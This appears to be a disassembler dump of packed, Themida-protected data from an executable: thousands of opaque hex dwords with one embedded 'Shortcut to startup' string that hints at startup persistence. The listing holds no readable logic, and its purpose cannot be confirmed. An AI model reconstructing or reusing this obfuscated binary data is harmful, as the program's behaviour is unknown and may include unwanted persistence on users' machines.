66770101h dd 781421C2h, 1A67CD88h, 0BF5425E8h, 61327AD9h, 33320BE9h dd 0F0682401h, 17668B5Bh, 17768005h, 33329805h, 0F0600201h dd 0B0DE14C7h, 0A28F9B65h, 9B37E118h, 60B60B05h, 0B8320203h dd 0DA1680BCh, 0D68F0304h, 3337A929h, 3358A40Eh, 33581001h dd 3331E050h, 6A120401h, 7FBB5BC2h, 77B30525h, 33258425h dd 62734001h, 9364B9C2h, 27DB70C7h, 0E4320801h, 9B4EEAE7h dd 515F8420h, 0CE415CE6h, 77200B24h, 0B8558DE7h, 0DA139DBCh dd 0C8DB7104h, 59320800h, 30DA5501h, 13320201h, 0BA6BC258h dd 0B236A44Dh dword_592268 dd 24366445h, 72322001h, 0E839D350h, 0AE33446Ah, 36DB23F8h ; DATA XREF: Themida_:00548712o dd 63E58991h, 55605157h, 3CD2D2BAh, 0BEA1FB30h, 6B681EA8h dd 3ADA805Bh, 320801h, 0EA6ED6CCh, 2CC0807Bh, 333211E9h dd 27DF0101h, 5AB9CA5Fh, 8CBD52FAh, 7AE22DA0h, 6CCA835Fh dd 7F330B5Bh, 3358FC25h, 3331E952h, 68128001h, 6FBB1BC2h dd 77B32425h, 33281425h, 60710801h, 535317C2h, 663803F1h dd 34CFBC8Ah, 0B86A85E8h, 0DA1BB59Ch, 1FF2A304h, 1653A500h dd 3BB90DE8h, 0DB65046Bh, 33320202h, 6CF15E21h, 3716FC88h dd 37160480h, 33322016h, 5DF14746h, 552DCCEEh, 0DACE4C8Ah dd 33320207h, 59B6942Ah, 0B254CCE4h, 3CCD7638h, 3332CC85h dd 3334F901h, 0EA390801h, 0ABD988Eh, 0DB3BC382h, 33320110h dd 61807FE3h, 8412CFACh, 899392FDh, 0AFD2A490h, 0E2B96E2Fh dd 0DA0B845Ah, 33C2870Eh, 33580101h, 33316852h, 68124001h dd 6FBB7BC2h, 77B31425h, 33250C25h, 60710401h, 4FF72CC2h dd 8AA78AC8h, 0B837690Ch, 33584140h, 3331C850h, 6A121001h dd 7FBB51C2h, 77B30025h, 33280625h, 62730101h, 0EC05D0C2h dd 31B86CCh, 0FC852F61h, 3CFA1360h, 33320C89h, 5D886201h dd 36F3816Bh, 0DB61016Bh, 33328002h, 68F11B21h, 37167C88h dd 37165480h, 33320818h, 34F15742h, 0AE05ECC2h, 333EE8FAh dd 69218001h, 4A68D211h, 0B99F0FF2h, 0AB3C5B9h, 0B8714391h dd 3366810Eh, 33580201h, 3331E957h, 6D128001h, 47BB1EC2h dd 77B32425h, 33251425h, 65740801h, 96684C2h, 5EBF8F99h dd 5937E84Fh, 30DAD701h, 13324001h, 0BA6DE35Eh, 0B236347Dh dd 24362C45h, 74320401h, 4F36C156h, 308A989Fh, 3C328001h dd 0D2CDBBBEh, 3DC3B588h, 8D5315E8h, 42310B21h, 0CEEB98Ch dd 0BEBF07EFh, 36DC43A6h, 0A1B1F4B9h, 46B77300h, 1837C92Bh dd 335820CEh, 3331C854h, 6E121001h, 5FBB55C2h, 77B30025h dd 33240625h, 66770101h, 0F305E983h, 6AC08BA4h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6514C355h, 0E4A9885h, 5207E5C7h, 6A5EF28Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 48BEC355h, 0FA22EF5Ch, 9D89FF6Ch, 5E93171h, 0FE98589h dd 0C38B05E9h, 74E04EBh, 46E91AFAh, 98000005h, 2E143158h dd 0C0A6C3F2h, 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch dd 5279BAA0h, 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 132759BAh dd 7B0DEB44h, 1AEAAC5Ah, 7EF416C9h, 8EC1FBE1h, 335E9C60h dd 0C3F63016h, 6A97D195h, 8D2002Bh, 78B478A6h, 0EA0D1B49h dd 0ACDF198Bh, 3F6AA98Fh, 89CD7B9Ch, 1516C91Ah, 755B029Fh dd 0A7D21136h, 12531745h, 1ABAFCAAh, 0CE4416C9h, 0E35A3E6Ch dd 0A8D31292h, 386BA58Bh, 507FBB95h, 5E63FBB3h, 0D816C91Ah dd 21EFBCB9h, 3F40CFD7h, 6Dh, 5588C205h, 1ACD8F27h, 0EE0516C9h dd 9A6D914h, 460AA1D4h, 5A40CFD7h, 13h, 0C520021h, 47E936EEh dd 36EED599h, 0B63D9E9h, 7BCAF895h, 1AEAAC5Ah, 7EF416C9h dd 90BFFBE1h, 33629E62h, 0D3064105h, 17497A5h, 1B3867A3h dd 2F5BBFEEh, 3ED05EF2h, 4A78A3E2h, 0C3FDE380h, 6C467390h dd 0BDD6042Bh, 0B7C9DE02h, 0E683E529h, 0A84C2B8h, 0A3A45845h dd 7B9041DDh, 0A205D2ABh, 0A8B3E143h, 0EC95D987h, 0A31916C9h dd 66E42006h, 0C02FBF1Eh, 235EBA9Bh, 96F8C2F0h, 6224D2F3h dd 6C16C98Fh, 0B1A159F6h, 1544805Ah, 4B801DE7h, 0C23C7A2Ah dd 5D2ACFDBh, 1906ECA5h, 0CD4B2F27h, 4566096Bh, 0C9B6D797h dd 0C461D716h, 0CAFD371Dh, 6C9BD89Ch, 0A7CE6F3Eh, 0DA5887B6h dd 0EC9DCC08h, 0D16E380Eh, 0CF2F3EF2h, 895240h, 0C2180000h dd 202B5984h, 40DD0846h, 0C0EE1D5Ah, 77E68FB2h, 0F6E2609Dh dd 0A8964711h, 0CFB552B4h, 63496691h, 8CCFA25h, 9D6C9ACDh dd 0B369D504h, 8258DAE0h, 98C5B0E5h, 0B55281BEh, 0CF091AD6h dd 11502A40h, 51EEB8E6h, 8230h, 0E01DF700h, 0C2E614B1h dd 0C8110A84h, 497A5970h, 1D7FE108h, 0EBAB597Ah, 0F316C9AFh dd 1D28E07Dh, 0A7D50843h, 1779A4E3h, 2A55947Ah, 403584FCh dd 0DEFB2664h, 7499D7B1h, 0FD9073Ah, 0C2E210ADh, 0F31E5D86h dd 6B99FBC5h, 0C91AEED3h, 0ABD61416h, 5178B97Dh, 0A1D43323h dd 0E4BED5FDh, 7E4876A9h, 94C9ACE1h, 0B24F7EBAh, 0CFD70DD3h dd 112340h, 0BBEA0000h, 71BC3509h, 5D84D4C4h, 236D7579h dd 0C2F624C1h, 0D9B35685h, 16CE6B9Eh, 0B7E51852h, 8B195CD3h dd 4D7C1F4Eh, 4C74F395h, 8A9F500Bh, 6AA20170h, 0C3FCA340h dd 95C4016Bh, 41E29033h, 0C51C3151h, 7322DA00h, 79B33EEFh dd 0EC4E1846h, 77515C8Ah, 6FAD093Ch, 0AF4C1644h, 26628FC9h dd 18F295F7h, 0B781AFDAh, 538D731Ah, 0AE5C7D20h, 1320E0E8h dd 2BE380F6h, 20E0D193h, 0A3D22113h, 7794C701h, 0EE2A5791h dd 65C791BFh, 6397337h, 0EC89E8D8h, 5C0A7EB8h, 1320E01Ah dd 0CAF534A4h, 1470D29Ch, 0B37DABD6h, 8B553451h, 0A545262Dh dd 110h, 0A7176F6Bh, 9FD5604h, 0B3291C32h, 5487C185h, 0E4175137h dd 85B8F2B6h, 5313C1E2h, 5B13202Bh, 0A09048E5h, 36703441h dd 5907E603h, 574526E6h, 43h, 0AC186F1Dh, 4F134170h, 0EEB8E611h dd 0D9872A8Ch, 16C91945h, 8FB053C9h, 0C91A9DE1h, 0EAB2116h dd 1AF8BE56h, 58F516C9h, 6BDD341Dh, 90CDA7C8h, 940AC461h dd 9A16C919h, 5FC1EC2Ah, 9A6442h, 6FA40000h, 0E304A717h dd 879F93C2h, 0B96FC3EEh, 0C9B3C589h, 5988C516h, 34EE8B01h dd 1C32B737h, 0D79BC93Fh, 3B7B299Dh, 0C31320BFh, 0BAFCAA4Dh dd 441320BFh, 694F6CCEh, 36CEFC2Fh, 1320BFCFh, 3B690C5Bh dd 9FDF8D01h, 1F1320BFh, 0FD2A47A9h, 88B6E923h, 90E821BEh dd 67A37D20h, 4D6E9B38h, 6CE11D1Eh, 8A5D1F7h, 0DA18554Eh dd 0D3BB119h, 0AEDC0F49h, 3B2253CAh, 0BFBF6E0Ch, 4CE36A68h dd 9D7D2EDBh, 99C00116h, 9619A37h, 0FBD5F699h, 36F08DC0h dd 1C34362Dh, 98C6E359h, 4A7176Fh, 33574D56h, 1543B91Ch dd 0C7E41751h, 0D174A7E1h, 59BC02B0h, 0CC421327h, 3D6C772Fh dd 0A7408C89h, 0C309269Dh, 1EDE7EA0h, 2B6B19BCh, 0B3132742h dd 5BE6A03Dh, 51003303h, 0E716472Eh, 0F673ADD8h, 11F794A2h dd 5A87A4D7h, 0F6CB8B39h, 5DD30C33h, 6DA0DAC0h, 1B5A343Fh dd 9B7C2F0h, 0C33F645h, 0D471D349h, 5280B3EEh, 0F321548Eh dd 93C1F42Fh, 0F5A9CC1Bh, 31730279h, 0C1A7C4F7h, 0D7B15487h dd 753F6D98h, 0F4F621C4h, 9A371755h, 0A26E2h, 0A1660000h dd 0F2195A34h, 2F5DFAC4h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh dd 4775A4E0h, 243A6886h, 1C890000h, 16E56824h, 1C890000h dd 64E6824h, 0C890000h, 92B95124h, 0BB0E2D69h, 141BACBCh dd 0C8BCB29h, 4C48124h, 68000000h, 58F7h, 83242489h, 59042404h dd 50D88950h, 0D4243481h, 8F77A111h, 71810841h, 0A111D408h dd 0C8B5877h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 2434FF5Ch, 4C4835Bh, 0FB3792E9h, 3D9990FFh, 0E5129298h dd 0B76F8EA4h, 47F4B8B5h, 0C50305EEh, 308E0FFh, 0CC9D0470h dd 26D6386Dh, 6893653Ch, 6B79599Ch, 9E9A040Bh, 71B663BFh dd 9D063A89h, 0BD362C90h dd 0D0CB4468h, 0C8726BEBh, 703F1DD1h, 0CA5C6D5Fh, 79B42FD5h dd 18CD027Dh, 3DBD06D3h, 0A6F630BFh, 0B5EE5BF2h, 0F4C15F9h dd 42DF3914h, 0FE885033h, 0EDF79ACh, 0E29428A4h, 0E7925373h dd 39966751h, 29121627h, 8EA124BBh, 661A10D0h, 98DF3DA2h dd 40366305h, 79625B38h, 10E84A15h, 0AF000000h, 0BCBED582h dd 8ECC4560h, 6E4890A7h, 0B8968738h, 21DA6F6Ch, 81C38A59h dd 6225C1h, 0DF816600h, 6888E0h, 0B2000000h, 81665E0Fh dd 0FF2A19DAh, 20BF0E34h, 5B52F1AEh, 81D2F480h, 757A57C3h dd 0B899B87Eh, 0C38124C7h, 68FF01DFh, 0B587E281h, 0C38122A5h dd 5EA9DBADh, 40C78166h, 0B70F5385h, 31048FD2h, 0FFEBF0Fh dd 0C83h, 6870F00h, 81000000h, 712E28F7h, 2EE8369h, 4E4EC68Bh dd 6DE0B866h, 9E78FE81h, 850FFFFFh, 0FFFFFF9Fh, 5E8h, 0BF575C00h dd 81669539h, 58DB41EAh, 13E8h, 0A28C0A00h, 53A13DB8h dd 34821C95h, 0BBB46248h, 0A45D1E76h, 59FFB70Fh, 6E8h dd 0EE8AD300h, 0F346D98h, 815AC6B7h, 622CC1h, 61BEF800h dd 60000018h, 23C5EE81h, 9E854F4h, 0E4000000h, 0B26B7176h dd 47CD4626h, 0A97DD781h, 615A723Ah, 8B0F31FFh, 11h, 0CE9h dd 388ED700h, 92F1FD27h, 0DE0A50B1h, 19BF5BF6h, 816A2919h dd 14FE91F3h, 1BE7BA5Ah, 0F381285Ch, 70D4D09Ch, 5820Fh dd 7ABF0000h, 8128E4FAh, 8464E9EBh, 0E3EF816Eh, 896DFF0Eh dd 4E98319h, 0DF816653h, 4E5F54DFh, 0FFA6850Fh, 0F080FFFFh dd 8E85Fh, 0F1300000h, 217CDDCFh, 6E99212h, 0FC000000h dd 67F2DB4h, 81665A7Dh, 812223F1h, 6C4CC2h, 8E900h, 89DF0000h dd 0FAC3B3F4h, 687123h, 5B000000h, 14E8h, 94BA2200h, 0BC9BC6CFh dd 0FA4AFC2Fh, 88FFB8C4h, 127CD8FFh, 0F88B663Fh, 1A348B5Fh dd 8A0F6060h, 0 dd 0CA8B61F8h, 0CCEE8161h, 0B857200Ah, 102BB1E6h, 8598EE81h dd 0DF811A76h, 437224F3h, 2A2BEE81h, 0BE9441Ah, 95000000h dd 0CFBC3BA1h, 0C14A6DFEh, 0E856B116h, 9, 0FFEA5113h, 66C989CAh dd 7BC0814Ah, 5F571D63h, 661A048Fh, 480EE781h, 0C0816057h dd 5E299DA4h, 61D78B66h, 0EFEB815Fh, 0F197776h, 0C381F8BFh dd 197776EBh, 0C1B70F51h, 0C0FB815Fh, 0FFFFF94h, 1C85h dd 0F98B6600h, 31E9h, 0E5DF1F00h, 4479D5EFh, 2E935D47h dd 0BAA86F79h, 0EB6D19C2h, 0E18166FCh, 52E95193h, 41FFFFFFh dd 42419191h, 0F78E9C40h, 0FAA31F73h, 0F8712503h, 0B0E9ACFDh dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 2345853Bh, 840F05E9h dd 36h, 39853Bh, 840F05E9h, 2Ah, 21D5853Bh, 840F05E9h dd 1Eh, 3321853Bh, 840F05E9h, 12h, 1CA5BD83h, 0F0105E9h dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h dd 840FC985h, 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h dd 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h dd 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4E6D9D8Dh dd 5B805E9h, 0FF000000h, 0BC361E3h, 0A98D8DD0h, 8905EE4Ch dd 0E926558Dh, 0B5095005h, 5E930D5h, 585C75Eh, 2805E908h dd 6A000072h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 952C357h, 8B064257h, 0E924E5BDh dd 3D85C705h, 5E916h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 6C84C351h, 0B5FFD5E1h dd 5E904BDh, 0FFF18B66h, 0E90BC595h, 3810F05h, 66000000h dd 8166D98Bh, 6A8D6BD2h, 9595FF00h, 8B05E91Eh, 3869EBC0h dd 66BA04DFh, 2C0CE625h, 0E92115E1h, 0C4231FF3h, 625EFC83h dd 5F26FD7Ah, 123E4014h, 0B37BB659h, 0A406C4B8h, 33624131h dd 1A7D7823h, 909F53C3h, 6C770810h, 0CBC3D20Ah, 67C4F749h dd 0D98AD4AEh, 9DD7ECE8h, 1A49445Bh, 0F1BF5FF7h, 62FF123Ch dd 0CBCBD5D1h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h dd 7FFE51BFh, 1D659D8Dh, 39B805E9h, 89000000h, 0E92AD985h dd 0E805h, 5580000h, 0Dh, 39E90389h, 0 dd 0Dh dup(77E600h), 0FF77E600h, 68536CEBh, 6374726Fh dd 74207475h, 7473206Fh, 75747261h, 70h, 13h dup(0) dd 52CC0000h, 142D8h, 0DAE90000h, 6800000Fh, 5EE4FA2h dd 0FBFC34E9h, 50A468FFh, 2AE905EEh, 68FFFBFCh, 5EE5266h dd 0FBFC20E9h, 52A568FFh, 16E905EEh, 68FFFBFCh, 5EE5379h dd 0FBFC0CE9h, 543068FFh, 2E905EEh, 68FFFBFCh, 5EE58B9h dd 0FBFBF8E9h, 5B2A68FFh, 0EEE905EEh, 68FFFBFBh, 5EE5C44h dd 0FBFBE4E9h, 0A259B9FFh, 712A90D3h, 3DFC5FA2h, 0CC72B6Eh dd 0DE95FA3Dh, 0AF3A4A0Fh, 7DC08F4Ah, 4B8E5D1Ch, 1B5E2DE4h dd 0AE3302B9h, 0B968524Dh, 0ED13D850h, 0E097F9F8h, 0C483E6F9h dd 7D3EA007h, 0D73E7F5Dh, 74341175h, 0E79B4A54h, 126CF8C7h dd 0AEFFFAE1h, 77E3A863h, 0B9257431h, 56D85772h, 167D3AF1h dd 8439F6B5h, 1EF3BBF8h, 9CAF1D5Eh, 0D9D88C42h, 43h, 0A4DEB03Ah dd 0E6CC8942h, 66CCDFC6h, 0F7C3EBE6h, 66ACDDBEh, 2FD6846h dd 0E3A808FDh, 54A360A6h, 0D857E66Eh, 0E2C09151h, 0D88BB269h dd 0FC0Ah, 46023900h, 0BD2520F4h, 0E6D857F0h, 183BDBA0h dd 0F9EF2806h, 7623E097h, 3EEBD63Fh, 0E3C11BB4h, 0BB2159BEh dd 0C027E404h, 79E09D5Eh, 66916017h, 0DDBE468Bh, 0E3DE66C8h dd 0DDBE35FBh, 85DDB9A4h, 9F6B923Bh, 0C17ADE7Fh, 383BAA1h dd 0A3B989EDh, 24DF43E4h, 50A38167h, 2FECAB0Dh, 52096F82h dd 0A70EAF95h, 0EAA412F0h, 0BA1F3219h, 5DB621FFh, 87A10904h dd 84CADDBEh, 8738A29Dh, 1D63DDBEh, 6A45323Fh, 0F83EE3A8h dd 10E19D29h, 3B442E29h, 0E92FE643h, 0CF8AEF02h, 2A948FE8h dd 55D66BBAh, 9BDE310Fh, 0DF98FA36h, 507A7522h, 3BD66BBAh dd 0C2B5D5F5h, 0CBDD6583h, 9432A265h, 5700000Dh, 226534F7h dd 0F13403BCh, 0C508D78Eh, 98DBAA61h, 0E4A97833h, 2DE449A0h dd 0FFBA1B5Eh, 0CF86ED30h, 9C5BBD00h, 0ECE748CDh, 0D850B8C2h dd 0F99287ADh, 850EDD94h, 78560D72h, 6B3AF153h, 3DA0B314h dd 0FDDBC17Eh, 1F06FF8Fh, 0A8089F24h, 0C582C8E3h, 57E64876h dd 8742A7D8h, 43FE63CAh, 0CA8740A2h, 34783965h, 0D3D29F5Fh dd 0A15AC0h, 3A20DD9Eh, 0B23D0E5Ch, 0C936D88Bh, 97000000h dd 1E1997F9h, 0DDBEF7B4h, 712EE54Bh, 18387E8Bh, 0D48FF45Bh dd 0FBE9C817h, 0C82ADDBEh, 5EB7400Fh, 0BEF37B63h, 0FB5D24DDh dd 193E1C3Ch, 934300B7h, 28230AFBh, 0E3A81E73h, 0D7CC4934h dd 0E53E14Ch, 86D007EEh, 50AB0E7Ah, 17A3F6D4h, 4EA78E67h dd 57556B53h, 9CE14D8h, 616AD86Eh, 85F0CED0h, 430FF38Ah dd 6F569CE6h, 18C2BD16h, 83D66BAFh, 0D53A5F3Dh, 0A70C4F1Eh dd 7064F9ECh, 0CF92CBDDh, 0C925Fh, 36F55500h, 5BE2467h dd 0D990F336h, 0A863C70Ah, 7A3196D9h, 4B9EE6ABh, 195C2BE6h dd 0EF3201B8h, 0BF02D188h, 4ACF9E5Dh, 0A7C4EEE9h, 89AFD850h dd 0DD94F994h, 0B269CB0Eh, 6015AE3h, 0DDBEF7DCh, 6AA381C7h dd 23E097F9h, 10A53F76h, 0D480E92Bh, 0B86FD1F6h, 0D0215DE9h dd 472DEEE9h, 0E9FCE3A8h, 5DEECC83h, 0A70B5A17h, 3CD85786h dd 0F75E1BD8h, 0D338D990h, 0E9D75B18h, 920FE4A8h, 3C42639h dd 0EFD76046h, 0E0D85786h, 8289460h, 0D2182557h, 977546F4h dd 0D88BCBB4h, 32DACE05h, 0F428C85Eh, 0D6B4D48Fh, 1827h dd 0E2435600h, 0A6846A27h, 8C1F06Dh, 0C41D0000h, 0BEF7E1C9h dd 66448ADDh, 25DEB02Dh, 366433Eh, 0F93FE3A8h, 0B473D53Ch dd 0C040A2E5h, 57FA1DC5h, 204086D8h, 3CA3B663h, 0FA1BC3BEh dd 3E84D857h, 9D7B611Eh, 0EA177C90h, 0FCBD4940h, 0C077DEF1h dd 1A3F1D03h, 62197EB8h, 0D09FBFA5h, 0D9C72B8Dh, 58EF4F8Ch dd 0F7799175h, 4C6CBCC1h, 0B3206F2Ch, 33B093D0h, 20797445h dd 93D0BD25h, 0CEFBE6B0h, 0CEDBCE68h, 0E106E404h, 0B6F9C87Fh dd 87D69354h, 0B093EE56h, 1FD4A5A9h, 0EC2FFEBDh, 6414D18Ah dd 0F7F2D92Ah, 8E851BD6h, 0C87FE2F5h, 2C1359EAh, 2200B719h dd 0A2BE47CFh, 312C13ECh, 90BE2168h, 65E34A11h, 41C4406Ah dd 0C5E52BA5h, 76605B08h, 21A541C4h, 0D09BBBDBh, 30EB269Dh dd 3FC92C3h, 12C211Ch, 2F75B4B8h, 33CCC272h, 7AE0F34Ch dd 7BD6E3C1h, 2CBF5242h, 8AECFFE6h, 667902D1h, 766DA3FFh dd 0A2029F9Bh, 1DFC582h, 0CEC17ADCh, 0A2EDF983h, 0D02A9A5Dh dd 9300000Ah, 66A97833h, 35784700h, 14413D2h, 0D417E69Dh dd 20E5B46Fh, 69208564h, 33F6579Ah, 3BA2164h, 0D88FF134h dd 28238409h, 0D850A5BEh, 0F9CEC3E9h, 0D4EDE097h, 72C00829h dd 0A913FAFh, 0F4540000h, 0BF256837h, 93F63908h, 5EC205D4h dd 2E93D6A5h, 0A5DFA473h, 5524DF44h, 2BFAB112h, 0FBCA81E8h dd 0C69556B8h, 0FDE5E041h, 0A6D850A5h, 97F98B80h, 0A5A0F9E0h dd 0DDBEF73Dh, 1422066h, 0D600FB54h, 2DDDBEF7h, 6C520FC6h dd 163B195Fh, 0A32BFAB1h, 6F80FE1Ah, 5C48D88h, 0A66DE3A8h dd 98638344h, 955FBC65h, 0FDF6889Ah, 7C261B16h, 296F240Eh dd 31C2BC6Ch, 74D0374Ah, 0F3C6D3C6h, 3FFC1C7Fh, 0B7107B59h dd 0C7843FA4h, 5BF603E1h, 722E2427h, 0EAA10619h, 14BE472Dh dd 0A50EC526h, 0C52600AAh, 18256B0Eh, 26A6100Bh, 8BD10EC5h dd 0B6FC8D6Bh, 0F955BCCFh, 0AB690D2h, 460323CAh, 4178260h dd 0D71AE9A2h, 0E8C3B675h, 3E1373A4h, 9BD0B7Bh, 20800000h dd 0E3498C5Bh, 0B71A5D2Ch, 8AEE3100h, 5ABF02D1h, 790BD09Fh dd 81500B70h, 4F1EDD3Eh, 1FEEA50Ch, 0F2C17ADCh, 0A9110C6Dh dd 0D2D850A4h, 7CB3B7ACh, 66C7E73Bh, 7263DEA3h, 67C9EECCh dd 55B6C9B0h, 15F3D996h, 0CE066DD4h, 0DF3B067h, 1ECF06EDh dd 5C5AA696h, 1AD790F2h, 0E3361434h, 0BE586EB8h, 0F3083FDDh dd 450EFB94h, 97E75533h, 0E1329C97h, 175DDDBEh, 5EB710F7h dd 0BEE17B63h, 0DE24DDh, 0AD525AF3h, 16FD43E3h, 1BEAA103h dd 0CEB576D8h, 93507A75h, 0F53BD850h, 0A6FD617h, 93258D88h dd 84ED850h, 5DC42BE8h, 4D86B3A6h, 6124C5E6h, 906F1h, 0B269C900h dd 813AA0E3h, 4D0C6FB2h, 1CD73B7Eh, 0EEA50A4Dh, 0BF2A5A1Fh dd 8DD09F5Ah, 5B9E6D2Ch, 2B6E3DF4h, 0BE4312C9h, 0A378625Dh dd 0FD23D850h, 1997F908h, 0BEF7B41Eh, 0B518DFDDh, 335339F6h dd 8DEF5613h, 0E28D11CEh, 549DD4ABh, 0A58340AEh, 0F71BAF7h dd 2E1D8958h, 47D2A334h, 58Bh, 0B8221D76h, 0E3DDBE68h dd 0B086BF9Dh, 0E53E25DEh, 0BEF7C0EAh, 8765ABDDh, 4428211Ch dd 8671E3ADh, 6064546Ch, 4A952884h, 6C79411Dh, 8B46AB4Ch dd 0E1C8E8CEh, 0C32A6CCEh, 49694F0Ch, 32E94F62h, 5EB18F75h dd 6249BED2h, 7532E94Fh, 0C370B18Fh, 0D59249B0h, 0AD0411EFh dd 0B252C509h, 843A1F2h, 6D51FD94h, 3Fh, 6F26899Ch, 32E94BB2h dd 0B0FB3412h, 454027DCh, 0DDBEF79Dh, 22D93F06h, 8CF64502h dd 0E3FE2659h, 0A108C57Ch, 72C7843Bh, 4C215526h, 6EDDCF8Ch dd 7F30A20h, 7, 2B4F068h, 0B04F0000h, 853EA4DEh, 0B2837E65h dd 6BE3AD44h, 0B4196825h, 0EBD850B9h, 0DEB0327Fh, 72433E25h dd 2BE6430Ah, 84EBFEE5h, 139CEFCDh, 6B17BFBAh, 0B980D662h dd 0FDE3A057h, 1DD63CDDh, 779C7A60h, 2D959012h, 7CD6626Bh dd 626B5981h, 0EFFC42D6h, 65CC89A9h, 0A566C800h, 0CA13C885h dd 0BA9853B7h, 21864F0Ch, 0F7589B6Ah, 0AF107734h, 317A2FECh dd 2301BA1Eh, 96A92475h, 0D794F832h, 3614FAB7h, 12F9B011h dd 6B14BEB9h, 397FD662h, 0DFDD085Bh, 0F4D6626Bh, 96EFD68Dh dd 626A339Bh, 2F165CD6h, 626A8A34h dd 0D1AFF5D6h, 22D93B7Eh, 0DCB0EA65h, 85E68727h, 0F7DA04FFh dd 7FC5DDBEh, 0F003945Fh, 2B11CE8Dh, 4C7284Dh, 69327E64h dd 2B924F06h, 9B500DC4h, 300A420Fh, 80CB397Ah, 0F5D2A2A1h dd 403h, 475AB356h, 329C25E4h, 5DDDBEF7h, 0AF143917h, 428B37F4h dd 2BE0B105h, 614944C6h, 0ADDBEF7h, 6623DE43h, 71406080h dd 5768B1E8h, 122825E0h, 28AA0F34h, 0BE0C852Dh, 0C427EEDDh dd 42624805h, 429B8222h, 0BE0C9F47h, 8B332EDDh, 0F4DDBE0Ch dd 7D5BA1AEh, 9434F758h, 1CD990F3h, 0D79453B5h, 0C872F2Ah dd 0AAF0DDBEh, 0EEA6F3F7h, 0D005561Ch, 9AE5B06Bh, 15BDB838h dd 0C6DDBE0Ch, 303E3ECAh, 0EA303D44h, 78DE0803h, 83C9DDBEh dd 28237C63h, 0DDBE78BEh, 84C5A3E9h, 0BE788835h, 0DE9B07DDh dd 0DF4B315h, 9918F1D6h, 82347BD4h, 8AD0A40h, 81D4B2D2h dd 6320D73Eh, 0BE3DAF14h, 7C3D23DDh, 9BD250B7h, 1278A310h dd 2C961FB3h, 57DDBE77h, 4D0E7011h, 7CD55E2Dh, 0BE775981h dd 1EFC42DDh, 0BF832511h, 0AC63CADDh, 1FE909EFh, 0D2A34A2Bh dd 0FFFED54Ah, 97F9ABFFh, 77C2F9E0h, 7FB1F3E1h, 0C2D0FAF5h dd 75BBDDBEh, 964DB455h, 0C02265B8h, 0C29D4540h, 1B06DDBEh dd 42E3CDA5h, 0AFCFEF7Bh, 993EA3F2h, 975DDBEh, 6A218348h dd 0B7F3589Bh, 0F0D69356h, 536613D0h, 974EB5EDh, 0EDD4F4DAh dd 0BE99C8F2h, 8F6DB3DDh, 32F6C182h, 5E9512AEh, 0A3C0A4D8h dd 44F2D0B9h, 2BB69577h, 6FBFA317h, 20000000h, 3E25DEB0h dd 0F7C0EAE5h, 0B517DDBEh, 465339F6h, 0BCB72200h, 0E3AD44FBh dd 52A15EA4h, 0D850BA69h, 0DBC98A4Ah, 0D8910470h, 17D03649h dd 0B88D3530h, 0B0F6D850h, 2723D2h, 11840000h, 0DDBF0159h dd 8EF508EFh, 4DB31AD7h, 0D3F3D996h, 0FD69C7F5h, 0F026FFFFh dd 16h, 6DA50A1Dh, 54325209h, 3CA0B31Bh, 0FEDCC27Fh, 232D0h dd 97F92F00h, 1D7623E0h, 0BEF7B822h, 30F8E3DDh, 0E11F9818h dd 0F91EFC1Ch, 8511E097h, 0FE11F809h, 381EDB9Ch, 0B3F4EF5Ah dd 6CE3A839h, 0B41A6926h, 17D857BCh, 328B1A57h, 57BC8F37h dd 0D4B2F8D8h, 8C08C586h, 25AED8h, 0B00F0000h, 433E25DEh dd 0E3A808BEh, 37E4A1E7h, 2B09C224h, 57E6B01Eh, 1E5B1BD8h dd 8BB29FACh, 0A7D4D8h, 0B3350000h, 623A7A7Ch, 0BDB894AEh dd 0DDBEA815h, 5318387Eh, 6682CC0Ah, 4290707h, 0C52CE9A2h dd 85ECA960h, 40A76423h, 234E1DDEh, 0DDBE214Ch, 0DC62C3Fh dd 678C6A50h, 5064A105h, 0D379FEA4h, 2658E4B3h, 7A8DE6CDh dd 74815F18h, 0E3AA311Fh, 0C8DBC208h, 96D9A863h, 80877A31h dd 0EEC5E47Bh, 47DBB2Bh, 0E0400000h, 0A3094C1Bh, 77DA1DECh dd 4AAEF1C0h, 1A7FC291h, 0B9CB905Fh, 4110CB30h, 0FDE9DFEh dd 0DFAE65CCh, 0B2813A9Ch, 0E9D1CC2Dh, 92D850AFh, 94F9776Ch dd 7FE3F6DDh, 5093E6C4h, 0D55E2DEEh, 0CAA85FC2h, 0F97CB391h dd 0E3A20536h, 0DA7B4026h, 6489676Bh, 0DF8C4902h, 0EFAC67CCh dd 0BF272209h, 0E8DDBE8Ch, 3D9FC4A2h, 433E977Eh, 0DDBE8C9Bh dd 404D0E70h, 3DC91CFAh, 0CEC9B041h, 0E3A879FDh, 667960A6h dd 2A6B4902h, 5771F1DBh, 0B2FFEDD8h, 0E3DE5E30h, 0D85771FBh dd 0E1EEAD10h, 99947B9Bh, 0E6418428h, 0D05C2B71h, 635E45BEh dd 0E87FD5EAh, 73866DB3h, 5F8A5910h, 0CC7E294Dh, 0A6A11F86h dd 0CC7E293Ch, 7D3EA067h, 19BADAC0h, 0EDDFDB4h, 42C2h dd 0AD112100h, 0F9DDBEF7h, 5FA27184h, 31803DFCh, 0DDBEF789h dd 68673460h, 0F7AA140Fh, 0ED5DDBEh, 0F3D1F1AAh, 0DDAC6BCEh dd 0A4DC4154h, 0AC698942h, 5CC3E8C6h, 3499E8A5h, 0A8DDBEF7h dd 0D53CF1C2h, 0F9F84F1Eh, 0E1F4DB92h, 84DE1E7Ah, 0A54B8842h dd 0FBE2C885h, 0BEECD600h, 